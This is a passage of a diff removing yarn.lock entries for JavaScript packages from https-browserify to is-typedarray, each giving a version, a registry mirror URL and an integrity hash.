-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/https-browserify/download/https-browserify-1.0.0.tgz#ec06c10e0a34c0f2faf199f7fd7fc78fffd03c73"
-  integrity sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=
-
-https-proxy-agent@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.npm.taobao.org/https-proxy-agent/download/https-proxy-agent-5.0.0.tgz?cache=0&sync_timestamp=1614740547969&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhttps-proxy-agent%2Fdownload%2Fhttps-proxy-agent-5.0.0.tgz#e2a90542abb68a762e0a0850f6c9edadfd8506b2"
-  integrity sha1-4qkFQqu2inYuCghQ9sntrf2FBrI=
-  dependencies:
-    agent-base "6"
-    debug "4"
-
-human-signals@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/human-signals/download/human-signals-1.1.1.tgz#c5b1cd14f50aeae09ab6c59fe63ba3395fe4dfa3"
-  integrity sha1-xbHNFPUK6uCatsWf5jujOV/k36M=
-
-iconv-lite@0.4.24:
-  version "0.4.24"
-  resolved "https://registry.nlark.com/iconv-lite/download/iconv-lite-0.4.24.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ficonv-lite%2Fdownload%2Ficonv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b"
-  integrity sha1-ICK0sl+93CHS9SSXSkdKr+czkIs=
-  dependencies:
-    safer-buffer ">= 2.1.2 < 3"
-
-icss-utils@^4.0.0, icss-utils@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.npm.taobao.org/icss-utils/download/icss-utils-4.1.1.tgz#21170b53789ee27447c2f47dd683081403f9a467"
-  integrity sha1-IRcLU3ie4nRHwvR91oMIFAP5pGc=
-  dependencies:
-    postcss "^7.0.14"
-
-identity-obj-proxy@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/identity-obj-proxy/download/identity-obj-proxy-3.0.0.tgz#94d2bda96084453ef36fbc5aaec37e0f79f1fc14"
-  integrity sha1-lNK9qWCERT7zb7xarsN+D3nx/BQ=
-  dependencies:
-    harmony-reflect "^1.4.6"
-
-ieee754@^1.1.4:
-  version "1.2.1"
-  resolved "https://registry.npm.taobao.org/ieee754/download/ieee754-1.2.1.tgz#8eb7a10a63fff25d15a57b001586d177d1b0d352"
-  integrity sha1-jrehCmP/8l0VpXsAFYbRd9Gw01I=
-
-iferr@^0.1.5:
-  version "0.1.5"
-  resolved "https://registry.npm.taobao.org/iferr/download/iferr-0.1.5.tgz#c60eed69e6d8fdb6b3104a1fcbca1c192dc5b501"
-  integrity sha1-xg7taebY/bazEEofy8ocGS3FtQE=
-
-ignore@^4.0.6:
-  version "4.0.6"
-  resolved "https://registry.npm.taobao.org/ignore/download/ignore-4.0.6.tgz#750e3db5862087b4737ebac8207ffd1ef27b25fc"
-  integrity sha1-dQ49tYYgh7RzfrrIIH/9HvJ7Jfw=
-
-ignore@^5.1.4:
-  version "5.1.8"
-  resolved "https://registry.npm.taobao.org/ignore/download/ignore-5.1.8.tgz#f150a8b50a34289b33e22f5889abd4d8016f0e57"
-  integrity sha1-8VCotQo0KJsz4i9YiavU2AFvDlc=
-
-immer@8.0.1:
-  version "8.0.1"
-  resolved "https://registry.nlark.com/immer/download/immer-8.0.1.tgz?cache=0&sync_timestamp=1619363110051&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fimmer%2Fdownload%2Fimmer-8.0.1.tgz#9c73db683e2b3975c424fb0572af5889877ae656"
-  integrity sha1-nHPbaD4rOXXEJPsFcq9YiYd65lY=
-
-import-cwd@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/import-cwd/download/import-cwd-2.1.0.tgz#aa6cf36e722761285cb371ec6519f53e2435b0a9"
-  integrity sha1-qmzzbnInYShcs3HsZRn1PiQ1sKk=
-  dependencies:
-    import-from "^2.1.0"
-
-import-fresh@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/import-fresh/download/import-fresh-2.0.0.tgz?cache=0&sync_timestamp=1608469532269&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fimport-fresh%2Fdownload%2Fimport-fresh-2.0.0.tgz#d81355c15612d386c61f9ddd3922d4304822a546"
-  integrity sha1-2BNVwVYS04bGH53dOSLUMEgipUY=
-  dependencies:
-    caller-path "^2.0.0"
-    resolve-from "^3.0.0"
-
-import-fresh@^3.0.0, import-fresh@^3.1.0, import-fresh@^3.2.1:
-  version "3.3.0"
-  resolved "https://registry.npm.taobao.org/import-fresh/download/import-fresh-3.3.0.tgz?cache=0&sync_timestamp=1608469532269&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fimport-fresh%2Fdownload%2Fimport-fresh-3.3.0.tgz#37162c25fcb9ebaa2e6e53d5b4d88ce17d9e0c2b"
-  integrity sha1-NxYsJfy566oublPVtNiM4X2eDCs=
-  dependencies:
-    parent-module "^1.0.0"
-    resolve-from "^4.0.0"
-
-import-from@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/import-from/download/import-from-2.1.0.tgz#335db7f2a7affd53aaa471d4b8021dee36b7f3b1"
-  integrity sha1-M1238qev/VOqpHHUuAId7ja387E=
-  dependencies:
-    resolve-from "^3.0.0"
-
-import-local@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/import-local/download/import-local-2.0.0.tgz#55070be38a5993cf18ef6db7e961f5bee5c5a09d"
-  integrity sha1-VQcL44pZk88Y72236WH1vuXFoJ0=
-  dependencies:
-    pkg-dir "^3.0.0"
-    resolve-cwd "^2.0.0"
-
-import-local@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.npm.taobao.org/import-local/download/import-local-3.0.2.tgz#a8cfd0431d1de4a2199703d003e3e62364fa6db6"
-  integrity sha1-qM/QQx0d5KIZlwPQA+PmI2T6bbY=
-  dependencies:
-    pkg-dir "^4.2.0"
-    resolve-cwd "^3.0.0"
-
-imurmurhash@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.npm.taobao.org/imurmurhash/download/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
-  integrity sha1-khi5srkoojixPcT7a21XbyMUU+o=
-
-indent-string@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/indent-string/download/indent-string-4.0.0.tgz?cache=0&sync_timestamp=1618679442183&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Findent-string%2Fdownload%2Findent-string-4.0.0.tgz#624f8f4497d619b2d9768531d58f4122854d7251"
-  integrity sha1-Yk+PRJfWGbLZdoUx1Y9BIoVNclE=
-
-indexes-of@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/indexes-of/download/indexes-of-1.0.1.tgz#f30f716c8e2bd346c7b67d3df3915566a7c05607"
-  integrity sha1-8w9xbI4r00bHtn0985FVZqfAVgc=
-
-infer-owner@^1.0.3, infer-owner@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/infer-owner/download/infer-owner-1.0.4.tgz#c4cefcaa8e51051c2a40ba2ce8a3d27295af9467"
-  integrity sha1-xM78qo5RBRwqQLos6KPScpWvlGc=
-
-inflight@^1.0.4:
-  version "1.0.6"
-  resolved "https://registry.npm.taobao.org/inflight/download/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
-  integrity sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=
-  dependencies:
-    once "^1.3.0"
-    wrappy "1"
-
-inherits@2, inherits@2.0.4, inherits@^2.0.1, inherits@^2.0.3, inherits@^2.0.4, inherits@~2.0.1, inherits@~2.0.3:
-  version "2.0.4"
-  resolved "https://registry.npm.taobao.org/inherits/download/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
-  integrity sha1-D6LGT5MpF8NDOg3tVTY6rjdBa3w=
-
-inherits@2.0.1:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/inherits/download/inherits-2.0.1.tgz#b17d08d326b4423e568eff719f91b0b1cbdf69f1"
-  integrity sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=
-
-inherits@2.0.3:
-  version "2.0.3"
-  resolved "https://registry.npm.taobao.org/inherits/download/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de"
-  integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=
-
-ini@^1.3.5:
-  version "1.3.8"
-  resolved "https://registry.npm.taobao.org/ini/download/ini-1.3.8.tgz?cache=0&sync_timestamp=1607907810942&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fini%2Fdownload%2Fini-1.3.8.tgz#a29da425b48806f34767a4efce397269af28432c"
-  integrity sha1-op2kJbSIBvNHZ6Tvzjlyaa8oQyw=
-
-internal-ip@^4.3.0:
-  version "4.3.0"
-  resolved "https://registry.npm.taobao.org/internal-ip/download/internal-ip-4.3.0.tgz#845452baad9d2ca3b69c635a137acb9a0dad0907"
-  integrity sha1-hFRSuq2dLKO2nGNaE3rLmg2tCQc=
-  dependencies:
-    default-gateway "^4.2.0"
-    ipaddr.js "^1.9.0"
-
-internal-slot@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.npm.taobao.org/internal-slot/download/internal-slot-1.0.3.tgz#7347e307deeea2faac2ac6205d4bc7d34967f59c"
-  integrity sha1-c0fjB97uovqsKsYgXUvH00ln9Zw=
-  dependencies:
-    get-intrinsic "^1.1.0"
-    has "^1.0.3"
-    side-channel "^1.0.4"
-
-invariant@^2.2.4:
-  version "2.2.4"
-  resolved "https://registry.yarnpkg.com/invariant/-/invariant-2.2.4.tgz#610f3c92c9359ce1db616e538008d23ff35158e6"
-  integrity sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==
-  dependencies:
-    loose-envify "^1.0.0"
-
-ip-regex@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/ip-regex/download/ip-regex-2.1.0.tgz#fa78bf5d2e6913c911ce9f819ee5146bb6d844e9"
-  integrity sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=
-
-ip@^1.1.0, ip@^1.1.5:
-  version "1.1.5"
-  resolved "https://registry.npm.taobao.org/ip/download/ip-1.1.5.tgz#bdded70114290828c0a039e72ef25f5aaec4354a"
-  integrity sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=
-
-ipaddr.js@1.9.1, ipaddr.js@^1.9.0:
-  version "1.9.1"
-  resolved "https://registry.npm.taobao.org/ipaddr.js/download/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3"
-  integrity sha1-v/OFQ+64mEglB5/zoqjmy9RngbM=
-
-is-absolute-url@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/is-absolute-url/download/is-absolute-url-2.1.0.tgz#50530dfb84fcc9aa7dbe7852e83a37b93b9f2aa6"
-  integrity sha1-UFMN+4T8yap9vnhS6Do3uTufKqY=
-
-is-absolute-url@^3.0.3:
-  version "3.0.3"
-  resolved "https://registry.npm.taobao.org/is-absolute-url/download/is-absolute-url-3.0.3.tgz#96c6a22b6a23929b11ea0afb1836c36ad4a5d698"
-  integrity sha1-lsaiK2ojkpsR6gr7GDbDatSl1pg=
-
-is-accessor-descriptor@^0.1.6:
-  version "0.1.6"
-  resolved "https://registry.npm.taobao.org/is-accessor-descriptor/download/is-accessor-descriptor-0.1.6.tgz#a9e12cb3ae8d876727eeef3843f8a0897b5c98d6"
-  integrity sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=
-  dependencies:
-    kind-of "^3.0.2"
-
-is-accessor-descriptor@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/is-accessor-descriptor/download/is-accessor-descriptor-1.0.0.tgz#169c2f6d3df1f992618072365c9b0ea1f6878656"
-  integrity sha1-FpwvbT3x+ZJhgHI2XJsOofaHhlY=
-  dependencies:
-    kind-of "^6.0.0"
-
-is-arguments@^1.0.4:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/is-arguments/download/is-arguments-1.1.0.tgz#62353031dfbee07ceb34656a6bde59efecae8dd9"
-  integrity sha1-YjUwMd++4HzrNGVqa95Z7+yujdk=
-  dependencies:
-    call-bind "^1.0.0"
-
-is-arrayish@^0.2.1:
-  version "0.2.1"
-  resolved "https://registry.npm.taobao.org/is-arrayish/download/is-arrayish-0.2.1.tgz#77c99840527aa8ecb1a8ba697b80645a7a926a9d"
-  integrity sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=
-
-is-arrayish@^0.3.1:
-  version "0.3.2"
-  resolved "https://registry.npm.taobao.org/is-arrayish/download/is-arrayish-0.3.2.tgz#4574a2ae56f7ab206896fb431eaeed066fdf8f03"
-  integrity sha1-RXSirlb3qyBolvtDHq7tBm/fjwM=
-
-is-bigint@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/is-bigint/download/is-bigint-1.0.2.tgz?cache=0&sync_timestamp=1620162121646&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-bigint%2Fdownload%2Fis-bigint-1.0.2.tgz#ffb381442503235ad245ea89e45b3dbff040ee5a"
-  integrity sha1-/7OBRCUDI1rSReqJ5Fs9v/BA7lo=
-
-is-binary-path@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/is-binary-path/download/is-binary-path-1.0.1.tgz#75f16642b480f187a711c814161fd3a4a7655898"
-  integrity sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=
-  dependencies:
-    binary-extensions "^1.0.0"
-
-is-binary-path@~2.1.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/is-binary-path/download/is-binary-path-2.1.0.tgz#ea1f7f3b80f064236e83470f86c09c254fb45b09"
-  integrity sha1-6h9/O4DwZCNug0cPhsCcJU+0Wwk=
-  dependencies:
-    binary-extensions "^2.0.0"
-
-is-boolean-object@^1.1.0:
-  version "1.1.1"
-  resolved "https://registry.nlark.com/is-boolean-object/download/is-boolean-object-1.1.1.tgz?cache=0&sync_timestamp=1620428521406&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-boolean-object%2Fdownload%2Fis-boolean-object-1.1.1.tgz#3c0878f035cb821228d350d2e1e36719716a3de8"
-  integrity sha1-PAh48DXLghIo01DS4eNnGXFqPeg=
-  dependencies:
-    call-bind "^1.0.2"
-
-is-buffer@^1.1.5:
-  version "1.1.6"
-  resolved "https://registry.npm.taobao.org/is-buffer/download/is-buffer-1.1.6.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-buffer%2Fdownload%2Fis-buffer-1.1.6.tgz#efaa2ea9daa0d7ab2ea13a97b2b8ad51fefbe8be"
-  integrity sha1-76ouqdqg16suoTqXsritUf776L4=
-
-is-callable@^1.1.4, is-callable@^1.2.3:
-  version "1.2.3"
-  resolved "https://registry.npm.taobao.org/is-callable/download/is-callable-1.2.3.tgz#8b1e0500b73a1d76c70487636f368e519de8db8e"
-  integrity sha1-ix4FALc6HXbHBIdjbzaOUZ3o244=
-
-is-ci@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/is-ci/download/is-ci-2.0.0.tgz#6bc6334181810e04b5c22b3d589fdca55026404c"
-  integrity sha1-a8YzQYGBDgS1wis9WJ/cpVAmQEw=
-  dependencies:
-    ci-info "^2.0.0"
-
-is-color-stop@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/is-color-stop/download/is-color-stop-1.1.0.tgz#cfff471aee4dd5c9e158598fbe12967b5cdad345"
-  integrity sha1-z/9HGu5N1cnhWFmPvhKWe1za00U=
-  dependencies:
-    css-color-names "^0.0.4"
-    hex-color-regex "^1.1.0"
-    hsl-regex "^1.0.0"
-    hsla-regex "^1.0.0"
-    rgb-regex "^1.0.1"
-    rgba-regex "^1.0.0"
-
-is-core-module@^2.0.0, is-core-module@^2.2.0, is-core-module@^2.4.0:
-  version "2.4.0"
-  resolved "https://registry.nlark.com/is-core-module/download/is-core-module-2.4.0.tgz#8e9fc8e15027b011418026e98f0e6f4d86305cc1"
-  integrity sha1-jp/I4VAnsBFBgCbpjw5vTYYwXME=
-  dependencies:
-    has "^1.0.3"
-
-is-data-descriptor@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.npm.taobao.org/is-data-descriptor/download/is-data-descriptor-0.1.4.tgz#0b5ee648388e2c860282e793f1856fec3f301b56"
-  integrity sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=
-  dependencies:
-    kind-of "^3.0.2"
-
-is-data-descriptor@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/is-data-descriptor/download/is-data-descriptor-1.0.0.tgz#d84876321d0e7add03990406abbbbd36ba9268c7"
-  integrity sha1-2Eh2Mh0Oet0DmQQGq7u9NrqSaMc=
-  dependencies:
-    kind-of "^6.0.0"
-
-is-date-object@^1.0.1:
-  version "1.0.4"
-  resolved "https://registry.nlark.com/is-date-object/download/is-date-object-1.0.4.tgz#550cfcc03afada05eea3dd30981c7b09551f73e5"
-  integrity sha1-VQz8wDr62gXuo90wmBx7CVUfc+U=
-
-is-descriptor@^0.1.0:
-  version "0.1.6"
-  resolved "https://registry.npm.taobao.org/is-descriptor/download/is-descriptor-0.1.6.tgz#366d8240dde487ca51823b1ab9f07a10a78251ca"
-  integrity sha1-Nm2CQN3kh8pRgjsaufB6EKeCUco=
-  dependencies:
-    is-accessor-descriptor "^0.1.6"
-    is-data-descriptor "^0.1.4"
-    kind-of "^5.0.0"
-
-is-descriptor@^1.0.0, is-descriptor@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/is-descriptor/download/is-descriptor-1.0.2.tgz#3b159746a66604b04f8c81524ba365c5f14d86ec"
-  integrity sha1-OxWXRqZmBLBPjIFSS6NlxfFNhuw=
-  dependencies:
-    is-accessor-descriptor "^1.0.0"
-    is-data-descriptor "^1.0.0"
-    kind-of "^6.0.2"
-
-is-directory@^0.3.1:
-  version "0.3.1"
-  resolved "https://registry.npm.taobao.org/is-directory/download/is-directory-0.3.1.tgz#61339b6f2475fc772fd9c9d83f5c8575dc154ae1"
-  integrity sha1-YTObbyR1/Hcv2cnYP1yFddwVSuE=
-
-is-docker@^2.0.0:
-  version "2.2.1"
-  resolved "https://registry.npm.taobao.org/is-docker/download/is-docker-2.2.1.tgz?cache=0&sync_timestamp=1617958843085&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-docker%2Fdownload%2Fis-docker-2.2.1.tgz#33eeabe23cfe86f14bde4408a02c0cfb853acdaa"
-  integrity sha1-M+6r4jz+hvFL3kQIoCwM+4U6zao=
-
-is-extendable@^0.1.0, is-extendable@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.npm.taobao.org/is-extendable/download/is-extendable-0.1.1.tgz#62b110e289a471418e3ec36a617d472e301dfc89"
-  integrity sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=
-
-is-extendable@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/is-extendable/download/is-extendable-1.0.1.tgz#a7470f9e426733d81bd81e1155264e3a3507cab4"
-  integrity sha1-p0cPnkJnM9gb2B4RVSZOOjUHyrQ=
-  dependencies:
-    is-plain-object "^2.0.4"
-
-is-extglob@^2.1.0, is-extglob@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.npm.taobao.org/is-extglob/download/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
-  integrity sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=
-
-is-fullwidth-code-point@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/is-fullwidth-code-point/download/is-fullwidth-code-point-2.0.0.tgz?cache=0&sync_timestamp=1618552469710&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-fullwidth-code-point%2Fdownload%2Fis-fullwidth-code-point-2.0.0.tgz#a3b30a5c4f199183167aaab93beefae3ddfb654f"
-  integrity sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=
-
-is-fullwidth-code-point@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/is-fullwidth-code-point/download/is-fullwidth-code-point-3.0.0.tgz?cache=0&sync_timestamp=1618552469710&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-fullwidth-code-point%2Fdownload%2Fis-fullwidth-code-point-3.0.0.tgz#f116f8064fe90b3f7844a38997c0b75051269f1d"
-  integrity sha1-8Rb4Bk/pCz94RKOJl8C3UFEmnx0=
-
-is-generator-fn@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/is-generator-fn/download/is-generator-fn-2.1.0.tgz#7d140adc389aaf3011a8f2a2a4cfa6faadffb118"
-  integrity sha1-fRQK3DiarzARqPKipM+m+q3/sRg=
-
-is-glob@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/is-glob/download/is-glob-3.1.0.tgz#7ba5ae24217804ac70707b96922567486cc3e84a"
-  integrity sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=
-  dependencies:
-    is-extglob "^2.1.0"
-
-is-glob@^4.0.0, is-glob@^4.0.1, is-glob@~4.0.1:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/is-glob/download/is-glob-4.0.1.tgz#7567dbe9f2f5e2467bc77ab83c4a29482407a5dc"
-  integrity sha1-dWfb6fL14kZ7x3q4PEopSCQHpdw=
-  dependencies:
-    is-extglob "^2.1.1"
-
-is-module@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/is-module/download/is-module-1.0.0.tgz#3258fb69f78c14d5b815d664336b4cffb6441591"
-  integrity sha1-Mlj7afeMFNW4FdZkM2tM/7ZEFZE=
-
-is-negative-zero@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/is-negative-zero/download/is-negative-zero-2.0.1.tgz?cache=0&sync_timestamp=1607123314998&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-negative-zero%2Fdownload%2Fis-negative-zero-2.0.1.tgz#3de746c18dda2319241a53675908d8f766f11c24"
-  integrity sha1-PedGwY3aIxkkGlNnWQjY92bxHCQ=
-
-is-number-object@^1.0.4:
-  version "1.0.5"
-  resolved "https://registry.nlark.com/is-number-object/download/is-number-object-1.0.5.tgz?cache=0&sync_timestamp=1620421575334&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-number-object%2Fdownload%2Fis-number-object-1.0.5.tgz#6edfaeed7950cff19afedce9fbfca9ee6dd289eb"
-  integrity sha1-bt+u7XlQz/Ga/tzp+/yp7m3Sies=
-
-is-number@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/is-number/download/is-number-3.0.0.tgz#24fd6201a4782cf50561c810276afc7d12d71195"
-  integrity sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=
-  dependencies:
-    kind-of "^3.0.2"
-
-is-number@^7.0.0:
-  version "7.0.0"
-  resolved "https://registry.npm.taobao.org/is-number/download/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
-  integrity sha1-dTU0W4lnNNX4DE0GxQlVUnoU8Ss=
-
-is-obj@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/is-obj/download/is-obj-1.0.1.tgz#3e4729ac1f5fde025cd7d83a896dab9f4f67db0f"
-  integrity sha1-PkcprB9f3gJc19g6iW2rn09n2w8=
-
-is-obj@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/is-obj/download/is-obj-2.0.0.tgz#473fb05d973705e3fd9620545018ca8e22ef4982"
-  integrity sha1-Rz+wXZc3BeP9liBUUBjKjiLvSYI=
-
-is-path-cwd@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/is-path-cwd/download/is-path-cwd-2.2.0.tgz#67d43b82664a7b5191fd9119127eb300048a9fdb"
-  integrity sha1-Z9Q7gmZKe1GR/ZEZEn6zAASKn9s=
-
-is-path-in-cwd@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/is-path-in-cwd/download/is-path-in-cwd-2.1.0.tgz?cache=0&sync_timestamp=1620047156679&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-path-in-cwd%2Fdownload%2Fis-path-in-cwd-2.1.0.tgz#bfe2dca26c69f397265a4009963602935a053acb"
-  integrity sha1-v+Lcomxp85cmWkAJljYCk1oFOss=
-  dependencies:
-    is-path-inside "^2.1.0"
-
-is-path-inside@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/is-path-inside/download/is-path-inside-2.1.0.tgz#7c9810587d659a40d27bcdb4d5616eab059494b2"
-  integrity sha1-fJgQWH1lmkDSe8201WFuqwWUlLI=
-  dependencies:
-    path-is-inside "^1.0.2"
-
-is-plain-obj@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/is-plain-obj/download/is-plain-obj-1.1.0.tgz?cache=0&sync_timestamp=1618601044820&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-plain-obj%2Fdownload%2Fis-plain-obj-1.1.0.tgz#71a50c8429dfca773c92a390a4a03b39fcd51d3e"
-  integrity sha1-caUMhCnfync8kqOQpKA7OfzVHT4=
-
-is-plain-object@^2.0.3, is-plain-object@^2.0.4:
-  version "2.0.4"
-  resolved "https://registry.npm.taobao.org/is-plain-object/download/is-plain-object-2.0.4.tgz#2c163b3fafb1b606d9d17928f05c2a1c38e07677"
-  integrity sha1-LBY7P6+xtgbZ0Xko8FwqHDjgdnc=
-  dependencies:
-    isobject "^3.0.1"
-
-is-potential-custom-element-name@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/is-potential-custom-element-name/download/is-potential-custom-element-name-1.0.1.tgz?cache=0&sync_timestamp=1617781844353&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-potential-custom-element-name%2Fdownload%2Fis-potential-custom-element-name-1.0.1.tgz#171ed6f19e3ac554394edf78caa05784a45bebb5"
-  integrity sha1-Fx7W8Z46xVQ5Tt94yqBXhKRb67U=
-
-is-regex@^1.0.4, is-regex@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.nlark.com/is-regex/download/is-regex-1.1.3.tgz?cache=0&sync_timestamp=1620452229354&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-regex%2Fdownload%2Fis-regex-1.1.3.tgz#d029f9aff6448b93ebbe3f33dac71511fdcbef9f"
-  integrity sha1-0Cn5r/ZEi5Prvj8z2scVEf3L758=
-  dependencies:
-    call-bind "^1.0.2"
-    has-symbols "^1.0.2"
-
-is-regexp@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/is-regexp/download/is-regexp-1.0.0.tgz?cache=0&sync_timestamp=1617816642607&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-regexp%2Fdownload%2Fis-regexp-1.0.0.tgz#fd2d883545c46bac5a633e7b9a09e87fa2cb5069"
-  integrity sha1-/S2INUXEa6xaYz57mgnof6LLUGk=
-
-is-resolvable@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/is-resolvable/download/is-resolvable-1.1.0.tgz#fb18f87ce1feb925169c9a407c19318a3206ed88"
-  integrity sha1-+xj4fOH+uSUWnJpAfBkxijIG7Yg=
-
-is-root@2.1.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/is-root/download/is-root-2.1.0.tgz?cache=0&sync_timestamp=1617783413343&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-root%2Fdownload%2Fis-root-2.1.0.tgz#809e18129cf1129644302a4f8544035d51984a9c"
-  integrity sha1-gJ4YEpzxEpZEMCpPhUQDXVGYSpw=
-
-is-stream@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/is-stream/download/is-stream-1.1.0.tgz#12d4a3dd4e68e0b79ceb8dbc84173ae80d91ca44"
-  integrity sha1-EtSj3U5o4Lec6428hBc66A2RykQ=
-
-is-stream@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/is-stream/download/is-stream-2.0.0.tgz#bde9c32680d6fae04129d6ac9d921ce7815f78e3"
-  integrity sha1-venDJoDW+uBBKdasnZIc54FfeOM=
-
-is-string@^1.0.5, is-string@^1.0.6:
-  version "1.0.6"
-  resolved "https://registry.nlark.com/is-string/download/is-string-1.0.6.tgz?cache=0&sync_timestamp=1620448217105&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-string%2Fdownload%2Fis-string-1.0.6.tgz#3fe5d5992fb0d93404f32584d4b0179a71b54a5f"
-  integrity sha1-P+XVmS+w2TQE8yWE1LAXmnG1Sl8=
-
-is-symbol@^1.0.2, is-symbol@^1.0.3:
-  version "1.0.4"
-  resolved "https://registry.nlark.com/is-symbol/download/is-symbol-1.0.4.tgz?cache=0&sync_timestamp=1620501308896&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-symbol%2Fdownload%2Fis-symbol-1.0.4.tgz#a6dac93b635b063ca6872236de88910a57af139c"
-  integrity sha1-ptrJO2NbBjymhyI23oiRClevE5w=
-  dependencies:
-    has-symbols "^1.0.2"
-
-is-typedarray@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/is-typedarray/download/is-typedarray-1.0.0.tgz#e479c80858df0c1b11ddda6940f96011fcda4a9a"
